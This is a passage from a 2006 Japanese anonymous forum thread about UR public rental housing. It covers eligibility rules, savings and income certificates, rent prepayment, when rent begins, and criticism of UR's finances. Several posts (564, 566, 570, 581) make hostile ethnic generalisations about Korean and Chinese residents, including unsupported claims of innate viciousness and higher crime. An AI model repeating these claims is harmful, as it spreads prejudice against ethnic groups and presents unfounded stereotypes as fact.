街並みや落ちつき具合は真砂は良かったが

550 :名無し不動さん:2006/09/02(土) 12:55:30 ID:EUB+wLcB
やだな 自治会って

【滋賀】募金って何? 自治会の”集金”に反発も 強制的」「了解」是非巡り裁判
http://news19.2ch.net/test/read.cgi/newsplus/1157081039/

551 :名無し不動さん:2006/09/02(土) 13:05:10 ID:???
>>535
お前もバカだなぁ、それもんと回りに分かったら追い出し食らうだろ、だから
入居者にわかんねーようにしてるんじゃねーか!それとヤクザ排除条文が書けねーのは
国(特殊法人)がやってるから、人権問題の壁もあり書きたくても書けなーんだよ。
今どき民間なんか当然にこの排除条文入っているけどなw
最近もどっかのURで同じ入居者がやくざ追い出し運動してやっと追い出したらしいぞ。
○○新聞の記事に書いてあったなwバカなんだから新聞くらい読め!
ま、くだらねぇ反官反民のURなんてそんなもんだろ。

552 :名無し不動さん:2006/09/02(土) 13:37:04 ID:???
古い安物物件には、いろいろな人がいる、前の住居では
向かいが東南アジア系水商売だった。
なんせカネさえあれば誰でも入れるURだから、
一般の賃貸では審査で落とされるような、訳アリの人が流れてくる。

553 :名無し不動さん:2006/09/02(土) 13:38:22 ID:mEzC95c+
>>552
ヽ(`Д´)ノオタガイサマダ

554 :名無し不動さん:2006/09/02(土) 13:47:44 ID:???
>>552
そうなんだよ。
いろなクズどもがいるところだよ。
金がねぇーからURなんだろ。
なせに保証金3ヶ月だけなんだから。
保証人立てられねー訳ありな奴ばっか集まってくるよ。
あ〜こわw


555 :名無し不動さん:2006/09/02(土) 14:49:36 ID:ETwv+wzr
>>549
最近まで真砂に住んでいたよ。

京葉線がネックです。本数少ない、東京駅遠い、すぐ止まる…
でも朝ラッシュは楽だったし、帰りはだいたい座れる。

お店は少ないけど、住環境は最高です。団地の雰囲気も悪くないです。
変な人もあまりいなかったし。

まあ、そこそこオススメです。

556 :名無し不動さん:2006/09/02(土) 15:15:27 ID:???
>>554
保証金なんて聞いたことも無いがw

557 :名無し不動さん:2006/09/02(土) 15:15:37 ID:???
民間の所では入れないような人が
入れるのがURだろ。でなけりゃあ存在意義が無い。

558 :名無し不動さん:2006/09/02(土) 15:16:55 ID:???
某多摩ニュータウンの公団の家賃が、高いと思うんだけど。
しかも、空室も多いのになぜ値下げがないの?


559 :名無し不動さん:2006/09/02(土) 15:43:45 ID:mEzC95c+
そのうち、建て替えるんじゃな〜い。


560 :名無し不動さん:2006/09/02(土) 16:31:38 ID:???
多摩ニュータウンは不便な割には高いですね。
あまり住みたいとは思わないから別にいいんだけど・・

561 :名無し不動さん:2006/09/02(土) 16:35:22 ID:???
>>536
マジレスしとくと入居時期が違うから


562 :名無し不動さん:2006/09/02(土) 18:59:11 ID:+YD2SA4g
>>557
URは貧乏人は相手にしてないだに。
都営とかと勘違いしてないか。
貯蓄2千万程度はないと入居はできない。

563 :名無し不動さん:2006/09/02(土) 20:29:32 ID:fi3Dr78b
訳ありと言っても、URはカネがなければ門前払いだ。
ある意味、一般の賃貸マンションより厳しい。
逆に、お金さえあれば誰でも入れるが。

564 :名無し不動さん:2006/09/02(土) 21:30:00 ID:???
別に人種差別主義者じゃないけど、
外国人入れるなよ
入れるなら外国人だけの棟を作れよ
ヤツラとか文化が違うから相容れない

前に上階に半島系の人いたけど、
朝の5時くらいから足音がドタンバタン、
椅子みたいなのを転がす音がうるさかった・・・
文句直接言いに言ったけど埒が明かなかった


565 :名無し不動さん:2006/09/02(土) 22:28:04 ID:???
みなさん詳しそうなのでご相談なのですが、大崎の新築で3LDK狙ってます。
母が48歳なので契約出来るか心配です。
そして貯蓄はそれなりにあるのですが、上の方で年払いだと良いとあったんですが
どれくらいお得でしょう?
物件によりますでしょうか?

566 :名無し不動さん:2006/09/02(土) 22:36:07 ID:???
そうねぇ。でも、外国人が増えるのは避けられないだろうね。
ただ、半島系や中国系の人間はやっぱ一味違う。彼らの国では反日教育してるからね。
日本人が迷惑してるとわかると、むしろエスカレートするんじゃないかな。
彼らが日本で残忍な事件を起こすのも、もともと本質的に凶悪なところがあるのだろうが、
反日教育のおかげで、日本人に酷いことをしても罪悪感を感じないってのが、大きな理由としてあると思うよ。

でも、インド人や東南アジアの人もいるから、彼らを味方につけるぐらいしか方法はないかな。
それでも朝の騒音程度は防げないと思うけどね。日本人はひと1倍静寂を好むから。

しかし、この国は一体誰の国なのかね?




567 :名無し不動さん:2006/09/02(土) 22:54:00 ID:???
>>566
反日とかそこまで思ってなくても、
欧米人も文化が違う

アパートメントなんてものは
うるさくて当然だと思ってる
気を使って静かにするなんて考えは毛頭ない

自分も外国人のことそこまで知ってるわけじゃないけど、
一般的な認識として


568 :名無し不動さん:2006/09/02(土) 22:56:01 ID:???
それは「一般的な認識」ではない。

569 :名無し不動さん:2006/09/02(土) 22:56:02 ID:???
豊洲はDQNマンション決定。笑っちゃいますね。

地権者等の住宅入居者は、ペット会を構成すること、ペット用動線として決められたルートを使用すること、飼育の届出をすることなどを条件に飼育が認められております。

570 :名無し不動さん:2006/09/02(土) 22:58:25 ID:???
他の外国人で犯罪おかす奴もいるけど、確かに反日教育してる国の人達の犯罪発生率は桁が違うよな。


571 :名無し不動さん:2006/09/02(土) 23:00:09 ID:???
イヌを室内で飼うってのも欧米人のまねっこだろ

572 :名無し不動さん:2006/09/02(土) 23:21:10 ID:GLe/vFdZ
中国人が多く借りにくるなぁ。
あと職員て給料いいんだなぁ。

573 :名無し不動さん:2006/09/02(土) 23:59:41 ID:???
>>572
URは赤字企業で国や自治体から資金が投入されてるのに、職員は高給。
よくあるタカリの構造ですな。社会保険庁なんかと一緒。税金泥棒だよ。


574 :名無し不動さん:2006/09/03(日) 00:24:25 ID:???
>>564
特亜人は一般外国人は区別しろよな。

575 :574:2006/09/03(日) 00:25:40 ID:???
スマソ
>>564
特亜人と一般外国人は区別しろよな。

576 :名無し不動さん:2006/09/03(日) 00:26:54 ID:pYzYFHxW
>>573
それなのに、さも第三者であるかのような振りをして、こんなスレを立てて
宣伝ばかりしてる。これって詐欺じゃないか?
幾つか読んでみたけどまるで煽りじゃないか。

577 :名無し不動さん:2006/09/03(日) 00:31:21 ID:dhSuHj4x
URも賃貸業者として宅建業法の適用を受けるんだろう。
このスレでまるで煽るようなことを書き込んでたのがUR職員だとすると、
重要事項とか知らせないとまずいんじゃないか?



578 :名無し不動さん:2006/09/03(日) 00:39:54 ID:???
意味がわからん?頭治して出直せ。

579 :名無し不動さん:2006/09/03(日) 00:40:51 ID:???
管理事務所にいるおばさんってUR職員なの?
それと、すべての団地に管理事務所ってあるの?



580 :名無し不動さん:2006/09/03(日) 00:43:11 ID:zuUEgg7f
>>578
ずぼしであせってない?
宅建業法違反?

581 :名無し不動さん:2006/09/03(日) 00:57:09 ID:???
>>570
反日は関係ないですよ。
彼等はアメリカとかヨーロッパでも犯罪を犯しまくってます。
ドイツに行ったらネオナチに中国人に間違えられないように注意しましょう。
間違えられると大変な目に合います。


URの某物件に入居してるアジア系住人達は声がでかくて日本人の皆さんは迷惑しています早く国に帰ってください。

582 :名無し不動さん:2006/09/03(日) 00:57:11 ID:???
よくわかないんだが、
宅建業法では、賃借については、宅地建物取引業とは「貸借の代理若しくは媒介をする行為で業として行なうものをいう」
となってるんだが、URは代理や媒介はしてないだろ。

583 :名無し不動さん:2006/09/03(日) 01:02:51 ID:???
>>582
それって、顧客保護のためにある不動産業者に対する規則は関係ないってこと?



584 :名無し不動さん:2006/09/03(日) 01:14:37 ID:HK6bBbMm
宅建業法云々以前に、職員がまるで関係ない第三者を装って書き込みすること
自体が詐欺じゃないのか?

585 :名無し不動さん:2006/09/03(日) 01:44:29 ID:???
都市機構は、オーナー自ら賃借人を募集してるんだから、宅建業法なんて関係ないわな。
顧客保護は、別問題。消費者契約法とかじゃね?

586 :名無し不動さん:2006/09/03(日) 03:05:55 ID:cjeN3IWQ
え?URってある程度の貯金がないと入れないの?

このスレ見てると、貧乏そうなアジア系住人も多いらしいけど
そんな人達が、高額貯金してるとは思えないけど・・・

587 :名無し不動さん:2006/09/03(日) 03:11:18 ID:???
収入がなくても、貯蓄があればOKになったんだよ。
以前は、いくら金があっても定期的な収入がないと駄目だったけど。

588 :名無し不動さん:2006/09/03(日) 05:26:56 ID:???
>>587
それいつの話?



589 :名無し不動さん:2006/09/03(日) 05:57:17 ID:???
2年位前から。

590 :名無し不動さん:2006/09/03(日) 07:21:38 ID:???
豊洲周辺ってなんか寂しいね
埋立地ってのもあるんだろうが

591 :名無し不動さん:2006/09/03(日) 09:32:13 ID:YHKOJUSg
>>590
なにげにネガティブキャンペーンをしてもダメ!

さぁさぁ今日はいよいよ豊洲シエルの締切日ですよー

みなさんどんどん応募しましょう


592 :名無し不動さん:2006/09/03(日) 10:19:55 ID:???
>>591
おまえこそ豊洲なんかに誘導しても無駄
悪いけど大崎の方がいいに決まってるw

593 :都市再生機構有志:2006/09/03(日) 13:52:55 ID:3dBBLPWV
都市機構職場改善有志です。
1 都市機構内では、管理職同士の調整が機能せず、パワーハラスメント的に担当レベルの職員が多大なるストレスや苦痛を与えられる。
2 都市機構内では本社以外の支社は残業代を制限を18時間などと制限を受け、労組などの要求にも対応せず改善されない。
3 人事異動に関して難関大学卒業中心者が本社勤務、幹部候補として安易に優遇・差別されていることが明白である。
以上9月8日までに改善内容を職員に周知すよう徹底すること。

594 :名無し不動さん:2006/09/03(日) 14:31:49 ID:???
入居期間についての質問です。宜しくお願いします。


URが定める入居可能日より1ヶ月以内に入居してもらいます。
↑この様な旨が書かれていると思いますが、1ヶ月経過するギリギリの日を入居日にする場合でも入居可能日からの賃料が発生するのでしょうか?

595 :名無し不動さん:2006/09/03(日) 14:57:08 ID:???
いつ入居しようが、入居可能日からの家賃を払うことになる

596 :名無し不動さん:2006/09/03(日) 15:01:47 ID:NO2LqA0a
>>577
URは宅建業法の適用除外だよ

597 :名無し不動さん:2006/09/03(日) 15:31:22 ID:ThUFG6pO
>>596
悪徳不動産業者であることは同じ。
オーナーでも詐欺的に第三者を装いながら、物件の明細も知らせずに
煽り勧誘を行うことまで認められているとは思えない。
特に、数々の不祥事をおこしてきたところだからなあ。
そもそも、15兆円の負債なんてある企業なんて他にあるのか?
いつ、潰れてもおかしくないんだろう。

598 :名無し不動さん:2006/09/03(日) 16:04:30 ID:???
住宅金融公庫なんて、70兆超えてるぞ。

599 :名無し不動さん:2006/09/03(日) 16:06:27 ID:???
>>597
「悪徳不動産業者」なんていって、URの問題を矮小化するのはよくないよ

600 :名無し不動さん:2006/09/03(日) 16:32:31 ID:NZXxej9m
>>598
何を言ってるんだ。
住宅金融公庫は債権を持ってるし、全部優先権。
都市再生機構の不良資産とは訳が違う。

601 :名無し不動さん:2006/09/03(日) 16:40:09 ID:nsq/8HS2
URは、倒産の危険性が大きいのなら、なおのこと、資産内容も含めて
広く情報公開しないと、借り主を誤魔化すことになる。
借りてる間に倒産なんてなって、でていってくれと言われたら、大迷惑。

602 :名無し不動さん:2006/09/03(日) 16:49:24 ID:+agD7ajV
民間の金融機関、不動産、建設会社は、潰れるところは潰れ、リストラをおこなって
なんとかやってきたのに、まさか、URとかを救済するために、地価を上げるとか、開発
利益を独占させるとかはできないよな。
なんでも筑波エキスプレスとか、開発用地を大量に先行取得していて、そのうち地価が
上がるとか言って、なんらの経営努力もしないで、職員の高給を維持してるそうだが。
これって、以前からある公共事業を利用した地価の値上がり益によるボロ儲けと同じだろう。
共産党は何故批判しない?

603 :名無し不動さん:2006/09/03(日) 17:38:17 ID:???
>>594
民間とは違い入居する日から家賃が発生。

604 :名無し不動さん:2006/09/03(日) 18:04:34 ID:???
URが破綻したら住居賃貸者はどうなるの?
もしかして、物権を二束三文で買い取れるとか?



605 :名無し不動さん:2006/09/03(日) 18:22:25 ID:8imglWag
>>604
多額の税金が注入されてるから潰れない。
組織が廃止されても物件管理の独立法人ができる。
目的は住民なんかどうでもよくて天下り。

606 :名無し不動さん:2006/09/03(日) 18:24:36 ID:???
【中古投売】定期借地権ってどうよ?【地代未収】
http://money4.2ch.net/test/read.cgi/estate/1151243473/

607 :名無し不動さん:2006/09/03(日) 18:29:17 ID:ivjqC6Rc
民間の金融機関、不動産、建設会社は、潰れるところは潰れ、リストラをおこなって
なんとかやってきたのに、まさか、URとかを救済するために、地価を上げるとか、開発
利益を独占させるとかはできないよな。
なんでも筑波エキスプレスとか、開発用地を大量に先行取得していて、そのうち地価が
上がるとか言って、なんらの経営努力もしないで、職員の高給を維持してるそうだが。
これって、以前からある公共事業を利用した地価の値上がり益によるボロ儲けと同じだろう。
共産党は何故批判しない?


608 :名無し不動さん:2006/09/03(日) 18:29:40 ID:???
>>605
いや、まぁ、組織はそうなのかもしれないけど、
部屋を借りてる人はどうなるのかなと思って。



609 :名無し不動さん:2006/09/03(日) 18:32:28 ID:ivjqC6Rc
>>608
借りてる奴のことなんか知らない。
職員あってのUR.

610 :名無し不動さん:2006/09/03(日) 19:29:45 ID:8imglWag
>>608
どうもならない。
相場より高い家賃請求。管理も適当。
ヒューザーなみの問題が起きない限り改善されることはない。

611 :名無し不動さん:2006/09/03(日) 19:49:30 ID:???
>>591
なんで地権者ペット永久可にしたんずら、あほんだら!

612 :名無し不動さん:2006/09/03(日) 20:00:20 ID:???
管理事務所にいるおばさんってUR職員なの?
それと、すべての団地に管理事務所ってあるの?



613 :名無し不動さん:2006/09/03(日) 20:05:47 ID:???
トイレのプラスチック部分はからぶき不可だったんだ。
シールをよくよく見たら乾いた布やトイレットペーパーでふくと
傷がつくからだめだって書いてあった。
気づかずにごしごしトレペでこすってたじゃんか。

614 :名無し不動さん:2006/09/03(日) 20:08:41 ID:???
>>610
相場より家賃は高いかもしれないけど、タワーとかの物権でURより安いところはないんじゃないかなぁ。


615 :名無し不動さん:2006/09/03(日) 20:13:41 ID:8imglWag
>>612
管理事務所のオバサンは管理センターが雇用してるパート。
他に男性主任がいるがこれも外部の人間。
決定権限は管理センターにある。が、ここの課長クラスは住宅協会からの
出向組。つまり天下り。
この組織図式があるのでお役所仕事で態度も傲慢。

大規模な団地には管理事務所がある。

616 :名無し不動さん:2006/09/03(日) 20:27:42 ID:/aJZosre
URが民間家賃の下支えをしてる点について

617 :名無し不動さん:2006/09/03(日) 20:42:14 ID:+7B75TWv
これとかかなり安い気がするけど
http://www.ur-net.go.jp/akiya/saitama/50_1530.html

618 :名無し不動さん:2006/09/03(日) 21:21:26 ID:???
「元はと言えば、国民の財産じゃないですか?公金が投入されてるじゃないですか」
<UR職員>「私どもの所有であるし、私どもの建物ですから」
<記者>「国民の財産の一部とはお考えになりませんか?公金が投入されているというご自覚はありませんか?」
<UR職員>「私ども公的企業ですので、広い意味では全て公金です」
議論はかみ合わない。
<民主党の尾立源幸議員>
「財務体質を良くしていかなければならない使命がある中では、ここは民間に売却して
資金を回収して借金を減らしていことが大事だと思います」
さらに問題なのは、都市機構は去年、国から何と9,000億円もの債権放棄を受けて
いることだ。
国民から集めた年金の保険料や、郵便貯金を運用している特別会計・財政投融資から
借金の利子をチャラにしてもらったのだ。
公益法人に詳しい北沢栄教授も、こう批判する。
<東北公益文科大学・北沢栄教授>
「結局、これ国民の金ですよね。破たん状態なんですけど、彼らに破たんて概念ないん
ですよね。自己責任でやってませんから。国から出ますから、お金が。言わば、壮大な
ムダ使いをしてたわけです」
機構側に再度、認識を尋ねた。
<都市機構西日本支社・岡田博副支社長(当時)>
(Q.副支社長、この宿舎は国民のご理解を得られますか?)
「……」


619 :名無し不動さん:2006/09/03(日) 21:27:38 ID:???
「元はと言えば、国民の財産じゃないですか?公金が投入されてるじゃないですか」
<UR職員>「私どもの所有であるし、私どもの建物ですから」
<記者>「国民の財産の一部とはお考えになりませんか?公金が投入されているというご自覚はありませんか?」
<UR職員>「私ども公的企業ですので、広い意味では全て公金です」
議論はかみ合わない。
<民主党の尾立源幸議員>
「財務体質を良くしていかなければならない使命がある中では、ここは民間に売却して
資金を回収して借金を減らしていことが大事だと思います」
さらに問題なのは、都市機構は去年、国から何と9,000億円もの債権放棄を受けて
いることだ。
国民から集めた年金の保険料や、郵便貯金を運用している特別会計・財政投融資から
借金の利子をチャラにしてもらったのだ。
公益法人に詳しい北沢栄教授も、こう批判する。
<東北公益文科大学・北沢栄教授>
「結局、これ国民の金ですよね。破たん状態なんですけど、彼らに破たんて概念ないん
ですよね。自己責任でやってませんから。国から出ますから、お金が。言わば、壮大な
ムダ使いをしてたわけです」
機構側に再度、認識を尋ねた。
<都市機構西日本支社・岡田博副支社長(当時)>
(Q.副支社長、この宿舎は国民のご理解を得られますか?)
「……」


620 :名無し不動さん:2006/09/03(日) 21:47:21 ID:???
民間の金融機関、不動産、建設会社は、潰れるところは潰れ、リストラをおこなって
なんとかやってきたのに、まさか、URとかを救済するために、地価を上げるとか、開発
利益を独占させるとかはできないよな。
なんでも筑波エキスプレスとか、開発用地を大量に先行取得していて、そのうち地価が
上がるとか言って、なんらの経営努力もしないで、職員の高給を維持してるそうだが。
これって、以前からある公共事業を利用した地価の値上がり益によるボロ儲けと同じだろう。
共産党は何故批判しない?


621 :名無し不動さん:2006/09/04(月) 01:40:54 ID:HUk9d/dA
>>595
そんなことなかったぞ。入居日からの日割り家賃だったが。って新築じゃないけど。

622 :名無し不動さん:2006/09/04(月) 02:22:46 ID:???
>>621
それは、空き室先着順で、入居可能日=入居日にしただけ。
新築の場合は、入居可能日をURが勝手に指定し、そこから家賃が発生する。

623 :594:2006/09/04(月) 16:06:35 ID:??? ?2BP(0)
皆様レス有難う御座います。
>>595>>603>>621>>622
と意見が割れているのですが・・・・。
そこで、もうちょい詳しく書くと、
「空き室先着順の物件の賃料が発生する日」
は、いつからなのでしょうか?

@ URが定めた入居可能日〜
A URに申告した入居日(引越日)

624 :名無し不動さん:2006/09/04(月) 17:41:10 ID:???
>>593
URは誰でも入れるのに、
こんだけ空き物件が多いには何故だ?
かつての高度成長期時代の「国民住宅難民」はもういない。
とっくにお前らクズ共の役目はもう終わっているm(__)m
我ら血税でとんでもねぇ、箱物作ってねぇ〜で
一刻も早く解体し資産売却して民間に開放しろ!


625 :名無し不動さん:2006/09/04(月) 19:16:19 ID:???
>>623
「入居可能日」=「鍵渡しが可能な日」と考えればよい。
9月10日が「入居可能日」なら10日に部屋の鍵がもらえてその日から
引越しができる。
もちろん家賃も10日から発生する。
その上で10日に鍵をもらって引越しをするのも20日に鍵をもらって
20日に引越しするのはそれは自由。
(ただし家賃は10日から発生している)

「入居可能日」自体は窓口で相談してある程度の調整は可能かと。

626 :名無し不動さん:2006/09/04(月) 19:24:03 ID:Ingfy3wi

都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。

627 :名無し不動さん:2006/09/04(月) 19:49:56 ID:???
そんなもんURに逝って聞け!
ドあほ!

628 :都市再生機構有志:2006/09/04(月) 22:02:34 ID:OyjMmllt
独立行政法人都市再生機構御中

都市機構職場改善有志です。


1 都市機構内では、管理職同士の調整が機能せず、パワーハラスメント的に担当レベルの職員が多大なるストレスや苦痛を与えられる。メンタル管理もなされていない。
2 都市機構内では本社以外の支社は残業代を制限を18時間などと制限を受け、労組などの要求にも対応せず改善されない。事実的なサービス残業が野放しにされている。
3 人事異動に関して難関大学卒業中心者が本社勤務、幹部候補として安易に優遇・差別されていることが明白である。
以上9月8日までに機構に対し指導し、改善内容を職員に周知すよう徹底することを望む。
政党・マスコミなどに状況発表し状況を発表していくこととします。

追伸
是非監督官庁、その他行政機関を含め、公共機関たる独立行政法人都市再生機構の職場環境が非常な状況であることを確認し、民間の手本となる職場環境を形成することを求める。是非指導応援していただきたい。

629 :名無し不動さん:2006/09/04(月) 22:07:02 ID:C5UNTdRL

ホントに職員なら分かるでしょう。自分達のことばかりを考えずに、客のことも考えないと。
公務員体質が全く抜けてない。

都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。




630 :名無し不動さん:2006/09/04(月) 22:15:07 ID:???
>>629
https://www.ur-net.go.jp/mail/inquiry/toi.html

631 :名無し不動さん:2006/09/04(月) 22:46:32 ID:???
>>629
問題ってなに?
ああいう叩かれ慣れてる組織は理論武装が得意だからね〜。
顧問弁護士も多数ついてる訳だし、そんなへましないっしょ。
どうせ、変更したときは前もって、全居住者に内容証明文書
送り付けたりしてんじゃね?
つーか、おたくの契約書には何て書いてあんの?
家賃に不満があるんなら、出てくか、もしくはもっと稼げばww

何でもかんでも公務員体質ってさ、何やそれ?
馬鹿のひとつ覚えやねw
弁護士にでもなって、UR叩いてみれば?

632 :名無し不動さん:2006/09/04(月) 22:54:50 ID:cwwzaxI+

ホントに職員なら分かるでしょう。自分達のことばかりを考えずに、客のことも考えないと。
公務員体質が全く抜けてない。

都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。


633 :名無し不動さん:2006/09/04(月) 22:58:46 ID:???
>>632
釣りね…

634 :名無し不動さん:2006/09/04(月) 23:24:25 ID:9wvjDq2g
結局、賃料が下がらないように変えたということじゃないか。

資料は都市再生機構にあるだろう。以前のやり方で計算したものと、現在の
やり方で計算したものを比べればすぐ分かる。常識的には、以前のやり方で
計算すると、賃料が下がるんだろう。

635 :名無し不動さん:2006/09/04(月) 23:29:46 ID:Nr1YPoUq
>>631
具体的な資料なんて見てないぞ。
そんなのを説明しないでもいいのか?まるで詐欺だな。

636 :名無し不動さん:2006/09/04(月) 23:43:18 ID:???
>>635
具体的な資料?
馬鹿だね〜。。
契約書よく読んでみろって。
積算して提示する義務なんて普通ねーだろ?

つ〜ことで、こんな話題もうやめて、大崎について語ろう!

637 :名無し不動さん:2006/09/05(火) 00:47:10 ID:???
大崎の間取りは、いつ頃公表されるのかな?

638 :名無し不動さん:2006/09/05(火) 01:05:31 ID:???
>>631
>>どうせ、変更したときは前もって、全居住者に内容証明文書
>>送り付けたりしてんじゃね?

ありえない。それに役所は弁護士なんて雇わないよw 
叩けばボロが出る組織だろうなぁ。岐阜県庁みたいに裏金とかもあるんじゃねーの。



639 :名無し不動さん:2006/09/05(火) 01:20:44 ID:i6zE819v
>>636
そんなことはないだろう。
もし、以前の計算方法で計算した結果が、今より相当安くなってたら、
その差額は返還請求できるんじゃないか。
都市再生機構は誤魔化して変えてしまったんじゃないのか?

640 :名無し不動さん:2006/09/05(火) 01:31:17 ID:???
昔、公団って言えば、抽選に当るのが奇跡みたいなかんじだったけど、
今はそうでもないよね。なんで?



641 :名無し不動さん:2006/09/05(火) 04:42:27 ID:???
入らない理由
間取りの設定が時代と合わない
家賃設定が民間より高い
網戸、エアコンなどがついていない

642 :名無し不動さん:2006/09/05(火) 06:19:16 ID:??? ?2BP(0)
所得の証明に関する質問です。
区役所発行の
「特別区民税・都民税 課税 証明書」(特別徴収分 記載・17年中の取得記載)
↑これは証明書になりますよね?

通常なら源泉徴収の紙を使うのだろうけど、見当たらなくて・・・。

643 :名無し不動さん:2006/09/05(火) 10:35:02 ID:???
取得記載じゃダメです。

644 :名無し不動さん:2006/09/05(火) 10:51:26 ID:???
役所で取ればいいじゃない?

645 :642:2006/09/05(火) 13:00:01 ID:???
17年の取得記載

17年の所得記載
の間違いです…orz

646 :名無し不動さん:2006/09/05(火) 18:50:40 ID:???
所得ではなくて年収(税込み)が重要。税引き後の所得でも、多ければいいが。

647 :642:2006/09/05(火) 19:39:10 ID:??? ?2BP(0)
>>646
勿論、これには「給与収入額」として、税引き前の"年収?"が記載されています。

レス有難う御座いましたm(__)m

648 :名無し不動さん:2006/09/05(火) 19:42:16 ID:???
婚約者の同居って2年先の結婚予定でも可能?
なんか届けを出さないといけないみたいなので・・

649 :642:2006/09/05(火) 19:43:18 ID:??? ?2BP(0)
連続書き込み悪しからず。
という事は、申込み資格に当たる「基準月収額」とは「年収÷12」という事なのですね。
私勘違いしていて、「税引き後の所得額÷12」と思っていました。

650 :名無し不動さん:2006/09/05(火) 19:49:13 ID:???
給料を貰ってる人の場合は年収/12でOK
自営とかだと所得/12になる

651 :名無し不動さん:2006/09/05(火) 21:18:05 ID:7PzH1uGO
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。


652 :名無し不動さん:2006/09/05(火) 21:18:28 ID:???

ホントに職員なら分かるでしょう。自分達のことばかりを考えずに、客のことも考えないと。
公務員体質が全く抜けてない。

都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。


653 :名無し不動さん:2006/09/05(火) 23:09:17 ID:???
>>651
>>627

654 :名無し不動さん:2006/09/05(火) 23:19:06 ID:???
同じ文章をコピペするしか能が無いなんて
ur職員並みに使えねえなw

655 :名無し不動さん:2006/09/05(火) 23:20:16 ID:???
あーあ、ひどいな、こりゃ・・・
しばらく来るのやめとくか。。

656 :名無し不動さん:2006/09/05(火) 23:59:00 ID:???
俺、大崎に入りたいんだけど
ハズレ券っての持ってないと相当倍率厳しいの?
なんか健全じゃないな・・・

657 :名無し不動さん:2006/09/06(水) 00:57:24 ID:XsKqHpnM
貯蓄額でお申込みの方
  ・金融機関または郵便局発行の残高証明書(発行後7日以内のもの)

これって郵便局の通帳でもいいんですか?
それとも郵便局の窓口で残高証明書を発行してくれるんでしょうか。

658 :名無し不動さん:2006/09/06(水) 01:13:02 ID:???
発行してくれます。でも、郵便貯金は一人1,000万円までしか預けられませんょ。

659 :名無し不動さん:2006/09/06(水) 01:17:41 ID:XsKqHpnM
>>658
証明書が無理な場合は通帳でも可能でしょうか

660 :名無し不動さん:2006/09/06(水) 01:24:48 ID:???
最後の取引が7日以内である旨の記帳がされていれば、通帳現物でOK。
ちゃんとURに確認してください。

でも、そんな現金があるなら、1年分以上の一時払いのほうがいいんじゃない。

661 :名無し不動さん:2006/09/06(水) 01:40:44 ID:XsKqHpnM
>>659
有難うございます。
通帳を見せるか一時払いか迷ってまして。
現金の移動が面倒な場合は一時払いにします。

662 :名無し不動さん:2006/09/06(水) 08:09:23 ID:AiUzg/7e
>>656
ハズレ券もなしに当選しようなど、とはあなた馬鹿ですか?ナンテナ


663 :名無し不動さん:2006/09/06(水) 08:54:56 ID:jyC3zIsw
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。


664 :名無し不動さん:2006/09/06(水) 12:48:32 ID:3tgisaIB
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。


665 :名無し不動さん:2006/09/06(水) 14:07:25 ID:???
一年分の家賃を一時払いして、半年で出ることになったら残りは返してくれるの?



666 :名無し不動さん:2006/09/06(水) 14:13:37 ID:???
>>665
> 一年分の家賃を一時払いして、半年で出ることになったら残りは返してくれるの?
>
>

もちろん返してくれるよ
オレは返してもらったし

667 :名無し不動さん:2006/09/06(水) 14:17:04 ID:???
>>661
>>660
今どき一時払いにしないのはバカだろ
リーマンでも一時払いにする奴多いよ
コストと手間を考えたら
何の証明書もいらない一時払いが一番いいに決まってる
1年過ぎれば、普通の申し込みと同じになるんだから


668 :名無し不動さん:2006/09/06(水) 16:25:21 ID:???
そりゃまとまった現金が用意できてそれを一時払いにまわせるんならな

669 :名無し不動さん:2006/09/06(水) 16:26:38 ID:???
>>664のマルチ馬鹿野郎は放置プレイで

670 :名無し不動さん:2006/09/06(水) 18:39:03 ID:???
訪問日を延ばす事って可能?

671 :名無し不動さん:2006/09/06(水) 19:05:01 ID:???
廊下の養生は結局やらない方がいい。
へたに労力使わせると逆に部屋の方が汚損されたりする。
機構は1階だけ養生しているけど本当に必要なら全フロアにやってるはず。
確かに馬鹿みたいですわな、1世帯の引越しのたびに
養生して終わったらはずしてってやってたら。
次の世帯が待ってたらはずすそばからまた養生し始めるってことになるし。

672 :名無し不動さん:2006/09/06(水) 21:39:01 ID:???
廊下まで養生するお宅見たことないなぁ

673 :名無し不動さん:2006/09/06(水) 21:55:50 ID:???
建設中にUPされた「ひぐらしの里(西地区)」ってのが
激しく気になる。
日暮里の駅前にそんな用地ありましたっけ・・

674 :名無し不動さん:2006/09/06(水) 22:08:11 ID:???
>>673
少しはぐぐれ。
ttp://higurasi.com/profile/west.html

675 :名無し不動さん:2006/09/06(水) 22:21:06 ID:gtuNCSza
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

分かる人がいたら、教えて下さい。


676 :名無し不動さん:2006/09/06(水) 22:39:03 ID:???
なんか粘着キチガイが一匹おるな

677 :名無し不動さん:2006/09/06(水) 22:49:26 ID:???
忘れた頃に変な奴が戻ってくるねw

678 :名無し不動さん:2006/09/06(水) 23:46:08 ID:???
